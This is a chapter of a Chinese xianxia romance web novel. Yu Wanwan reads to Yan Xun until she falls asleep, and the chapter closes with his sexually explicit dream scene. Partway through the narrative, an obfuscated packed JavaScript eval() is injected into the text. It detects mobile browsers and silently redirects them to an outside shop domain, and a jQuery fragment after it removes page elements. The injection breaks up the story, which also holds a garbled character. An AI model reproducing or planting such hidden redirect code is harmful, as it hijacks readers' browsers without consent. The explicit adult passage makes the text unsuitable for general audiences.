宴寻快如闪电一般将偷袭的小妖击退后,沈之礼与汪明珠也赶到了。
“晚晚,陆师妹,你们没事吧?”
余晚晚抿嘴一笑,摇头道,“没伤着啦,多亏宴寻出手快。我们跑得太远了,这边似乎不是太安全。”
沈之礼道:“天色也黑了,我们还是回去吧。”
余晚晚点头,一个转身,看到了目光空空,跌坐在沙滩上的陆媛。
令余晚晚不解的是,她的脸上还挂着莫名的笑。
疯了吧这是……
汪明珠与沈之礼已经转身往后走去了,余晚晚对陆媛伸出一只手,准备拉她起来。
“陆师姐,走吧,回去了。”
陆媛不领情:“不用你扶我。”
不要拉倒。
余晚晚轻飘飘地哼了一声,扭头就离开了。
宴寻也跟着余晚晚的脚步往前走去,路过陆媛跟前的时候,却被她一把抱住了腿。
“小师弟,我腿疼站不起来了,你背我回去吧。”
宴寻微微低头,垂眸平静地看着她,然后点头:“哦。”
陆媛眨巴着眼睛:“小师弟你真好。”
宴寻声音淡淡道:“我不喜欢别人抱我腿,松开。”
陆媛果真笑着松开了他的腿。
宴寻拔腿就走,留给她一个冷漠的背影。
陆媛坐在地上,望着宴寻离去的背影,一把捂住了心口。
就说吧,难怪之前在饭桌上,这位姓宴的小师弟没有帮汪明珠出气。
想必那时候,他就已经移情别恋喜欢上了自己。
那日的饭桌上,他还盯着自己笑呢。
方才情况那样危险,他“唰”的一下不顾一切冲了过来,这不是喜欢是什么?
她让他背她回去,他向前走去,只留给她一个背影,一定是怕玷污了她的清白。
这不是喜欢是什么?
这样想着,陆媛捂着心口从沙滩上爬了起来,追随着宴寻已经走远的背影,伸长一只手臂向前跑去。
“小师弟,姐姐也喜欢你,你无需顾虑,姐姐不在乎那些清白。”
--------
回到客栈后,余晚晚将屋内的几盏灯都集中搬到桌前,摸过桌上的火折子,一一将油灯点亮。
她要多画些扇子拿到市上去售卖,换了银两就可以买好吃的奖励小狐狸啦。
方才在海边幸亏有他出手。
她既没挨伤,也没让沈之礼有机会救陆媛。
一切准备好之后,余晚晚提笔,在灯下一笔一划,细心勾画出了一只微笑的乖巧小狐狸。
她轻轻搁笔,拿起那把小扇子,对着画上小狐狸笑。
“宴寻宴寻,你今天表现很好,嗯……但是我现在给你奖励有些困难。”余晚晚抿了抿嘴:“不如这样,刮一下你的小鼻子。”
余晚晚抬手,弯曲的食指轻轻靠上扇面,对着小狐狸的鼻子刮了一下。
她自顾自地笑了起来。
盯着自己的杰作看了一会儿,余晚晚拿过一旁胭脂盒,企图让小扇子靠在上面立起来。
她的语气轻快:“你就在这里看着我画。”
然而胭脂盒高度不够,不足以让细长柄的小扇子靠着它立起来。
余□□脆将团扇掉了个头,让小扇柄朝上,大头扇面朝下,勉强比方才立得稳些。
“委屈你倒着脑袋看我啦。”
余晚晚朝小狐狸一笑,拿过其余的空白画纸,开始继续她的创作。
专注地画了好一会儿扇子,余晚晚眼睛都有些花了。
于是她简单将东西收拾一下,洗漱过后便准备入睡。
刚钻进被窝闭上眼睛,脑中的思绪一跳。
对了,今日得去盯着宴寻,让他好好睡觉。
免得他缺失睡眠,明日还像今日白天的时候一样,奇奇怪怪。
可是……哪有自己跑别人房间里睡觉的道理……
虽说那就是她要攻略的人,一起睡觉也是迟早的事。
但……这样会不会太快了点?
余晚晚思考片刻后,从自己床上起来,拿了一本话本子就穿到了宴寻那边。
想办法把他哄睡着了,再回来不就行了。
一穿过去,宴寻的屋子里黑漆漆的,只有窗外的一点光,照亮一小块区域。
她从模糊中看到,宴寻似乎已经躺下了。
余晚晚脚步轻轻走近几步,宴寻警惕的声音响起:“谁?”
余晚晚脚步停住,“是我,余晚晚。”
“晚晚,你怎么来了?”宴寻的声音里,警惕之意已褪去了大半。
“我……我来监督你睡觉。”余晚晚抱着话本子向前挪了几步,挪到了宴寻床边,“你怎么不点灯啊?”
宴寻道:“睡觉点什么灯?”
“你这样,睡得着吗?”余晚晚想到他昨夜未睡,估摸着他睡眠或许有点问题,“我来给你念话本子吧。”
“好啊。”他的眸子在幽暗中褪去锋利,显得十分润泽。
宴寻居然没有拒绝,余晚晚心里松了一口气。
她将话本子搁在床边,起身去点油灯。
身后传来了宴寻的声音:“晚晚,你怎么还不来?”
余晚晚回应道:“等一下,我点个灯。”
宴寻从床边起身,走到了正在点灯的余晚晚身边。
“砰——”
轻轻的一声绽在空气中。
宴寻的手心又升起了那团蓝色火光。
余晚晚见宴寻来了,扭头看他:“宴寻,不要这个蓝火,晚上点暖调的烛火看起来舒适一些。”
宴寻道:“我帮你照一照,方便你点灯。”
余晚晚看他一眼,笑道:“谢谢,还有啊,今天在海边,多亏了你。”
他笑了:“所以,你今夜来陪我,是奖励吗?”
余晚晚点好一盏灯,又走向另一盏油灯,“嗯……也可以这么想。”
将点好的油灯搬到床边,余晚晚便坐了上去,摸过话本子翻了起来。
“宴寻,你是看到了这一页吗?”她将书页展在他折过的那一页,递给他看。
“嗯。”宴寻始终注视着余晚晚,他点头的同时,眼睛也随之轻而缓慢地眨了一眨。
余晚晚嘟囔道:“你都没往我手里的话本子上看呢,就点头。”
“不行么?”宴寻挑起一只眉毛,靠在床的里侧用眼神威胁余晚晚。
今日几乎大部分的时间都在学沈之礼,太累了。
现在他已经懒得再学了,干脆自己怎么乐意怎么来。
“可以可以。”余晚晚敏锐地接收到了威胁的信息,打开话本子就念了起来。
宴寻躺了下去,闭上眼睛,静静地听着余晚晚念话本子。
她的声音清脆悦耳,细听还带着轻微的沙沙感,为她那不谙世事的天真少女嗓音,平添了几分温暖的感觉。
像是黑暗之中,一盏散发着暖调微光的琉璃灯。
她念出的每一句话的节奏都适中,快慢收放得当,听起来令人安心舒适,且不会感到乏味。
甚至不同人物说话的语气,她都尽量去贴合。
其实话本子里那些老套的故事,并不足以令宴寻觉得有意思。
从前的他,最讨厌看那些胡说八道的民间话本。
但是不知道为什么,那些对他而言俗套又无聊的故事,经她口中念出的时候,一切都变得不一样了。
他闭着眼睛。
仿佛能看到一片死寂已久的土地上,重新长出嫩绿的新草。
漆黑冰冷的雨夜中,不远处有一盏生着火的屋子,在等他走过去。
他悬于虚空中,人间的一切俗事与他无关。
他不关心,甚至腻烦,嫌恶。
她伸出一双手,轻轻握住他,他便心甘情愿跟着她走。
不会去管走到哪里,也不去问前方有什么。
只是想,跟着她走。
现在,他又想念她的模样了。
宴寻睁开眼睛,转头,目光缓缓落在余晚晚的身上。
她一手抱膝坐在床沿,柔软的睫毛垂下,眼神专注地盯着置于膝上的话本子。
另一手轻轻地捏着书页,读完左右两页后,再翻过一页,继续读下去。
就这样偏头静静地看着她,连宴寻自己都未曾察觉到,他的嘴角已经弯了起来。
余晚晚,总是能出乎他的意料。
在他认定,她不过是个娇气且没头脑的官家小姐的时候,她可以不顾一切以肉身击碎障镜,没有呼一声疼。
在他以为和她发生争执后,她转身走远,一定会从此讨厌他的时候,未过多久,映入眼帘却是她的笑脸,还有甜蜜柔软的云糖。
他以为,等她知道,他是杀了当年宴府那么多人的魔鬼后,一定也会和汪明珠一样,愈发芥蒂他,但是她没有。
她可以对他笑,也会为了帮他而拔刀。
她平日上蹿下跳,也会为了他,稳稳地坐在床沿,在灯下读话本子。
只要她待在这儿,她讲的是什么故事,已经不重要了。
读着读着,余晚晚打了个盹。
整个人一晃,猛然惊醒。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655849|134249||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“晚晚,你困了就睡吧。”宴寻侧过身子,拍了拍身旁的位置。
余晚晚用力瞪着眼睛,避免自己一秒入睡。
好困……
脑袋已经开始有点迷糊了。
究竟怎么回事,为什么她为宴寻读了这么久的话本子。
他还睁着一双雪亮的眼睛,她已经快要睡着了。
“宴寻……你怎么就不困呢……”
余晚晚说着,打了一个长长的哈欠。
宴寻没有回答她的问题,只是静静地看着她,声音前所未有的温柔。
“睡吧,晚晚。”
余晚晚强行打起了精神。
不,她若是睡了,宴寻又睁眼到天明怎么办?
他不睡觉,脑子出了问题,到时候受罪的还不是她么?
余晚晚像落水后跳上岸的小狗一样,甩了甩脑袋。
她瞪大了眼睛,仿佛只有这样才不会立即睡着。
余晚晚顶着一张是个人就能看出她困了的脸说:“我还好,也不是特别困。”
她又打了一个大大的哈欠,将目光重新投到话本子上,继续念了起来。
最终,在自身的不懈努力下,余晚晚成功把自己哄入睡了。
而宴寻还醒着。
当耳边的声音越来越模糊,越来越不成调的时候,没过多久便停止了。
他看着靠在床沿的余晚晚,她的一只手还轻轻搭在话本子上,人已经睡着了。
他靠了过去,她睫毛覆盖在眼睑上,轻轻的呼吸响起,显然睡得很安心。
看着她熟睡的脸,他淡淡笑了。
“笨兔子,这样也能睡?”
看她蜷缩成一团,他有些不忍。
他想将她放下来,盖上被子,这样睡得舒服些。
又担心她刚睡着,去动她会将她弄醒。
他静静等待了许久,待她的呼吸声变得缓慢而均匀,才轻轻将她从床沿抱到了床的里侧,为她盖上被子。
他躺下,睁着眼睛许久。
听着耳边她轻缓的呼吸声,最终他也进入了睡眠。
--------
睁开眼,沿着白雾向前走去,看到那抹白雾中生出的一丛暖色亮光。
继续向前走去。
还是那座云雾中的酒肆,里头依旧是人声鼎沸、觥筹交错。
他又来到了锦花楼。
余晚晚今日换了一身衣裳,是山茶红的。
至于衣裳的款式,还是那种看起来不知检点,要掉不掉的衣服。
这颜色在宴寻看来略显俗气,但穿在余晚晚身上,却衬得她肤白似雪,娇媚可人。
她仍然如同之前的几次一样,光着脚,伴随着琴弦之音,在酒肆中央跳舞。
可他却不一样了。
不再那样吃惊,不再那样愤怒。
他当着所有看客的面走过去,一把搂住她纤细柔软的腰肢,打横一抱,在一片嘈杂的议论声中,进了二楼的房间里。
他无需看任何人的目光,也无需和任何人解释。
怀里这个人,本就是只属于他的人,有什么好解释的?
他已经来过锦花楼好多次了。
将余晚晚抛在床上后,他便迫不及待开始解自己的衣物。
被抛在床上的余晚晚轻轻哼了一声,“你真坏,每次来都这样将我一扔,也不知道温柔一点。”
她撑着床沿坐起来,走到他的跟前。
此时他的上衣已经解开,她侧身靠在他的怀里,柔软的小手抚上他的胸膛。
“晚晚。”他轻唤着她的名字,将她一把捞起,放到了柔软的床榻上。
尔后他像打开糕点的包装纸一样,将她打开。
美味的糕点呈现在了眼前,一览无遗。
他如同饥肠辘辘的食客,俯身品尝、吞食。
来了这么多次锦花楼,他越来越熟练了,吃够之后,便拿过一旁的枕头,垫在她的腰下。
他俯身吻她耳朵,“现在换你来吃掉我了。”
负距离之下,他底下的那个人咬着下唇直讨饶。
一番淋漓过后,他将她拥进怀中:“还要不要?”
怀中那人脸颊粉红,不知是因为羞的,还是因为方才累的。
她看他一眼,又垂下眸子,睫毛还在颤着:“还要~”
他轻轻刮她的小鼻头:“你比外面那个人乖多了。”
“外面?”怀中的人嘴巴翘了起来,眉头轻拧:“你外面还有人?”
他看着她的眼睛,宠溺道:“吃什么醋?外面的人,也是你啊……”